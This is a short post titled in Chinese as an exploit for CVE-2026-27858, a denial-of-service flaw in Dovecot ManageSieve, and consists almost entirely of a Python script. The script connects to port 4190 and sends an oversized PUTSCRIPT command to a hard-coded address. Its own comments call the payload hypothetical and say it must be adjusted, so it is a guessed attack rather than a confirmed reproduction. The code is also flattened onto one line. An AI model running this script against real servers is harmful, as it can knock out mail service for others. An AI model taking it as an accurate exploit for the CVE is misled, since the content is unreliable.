CVE-2026-27858 Dovecot ManageSieve 拒绝服务漏洞

import socket def send_exploit(target_host, target_port): try: # Connect to ManageSieve port (default 4190) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) # Receive server banner banner = s.recv(1024) print(f"Banner: {banner.decode()}") # Crafted payload to trigger memory allocation # Sending a large payload or specific malformed command sequence # Adjust payload based on specific vulnerability requirement payload = b"IMPLEMENTATION \"DoS-Test\"\r\n" payload += b"SIEVE \"DoS-Test\"\r\n" # Hypothetical large string to force allocation payload += b"PUTSCRIPT \"demo\" " + (b"A" * 100000) + b"\r\n" s.send(payload) print("Payload sent.") # Check response or timeout response = s.recv(1024) print(f"Response: {response.decode()}") except Exception as e: print(f"Connection error (possible crash): {e}") finally: s.close() if __name__ == "__main__": send_exploit("192.168.1.10", 4190)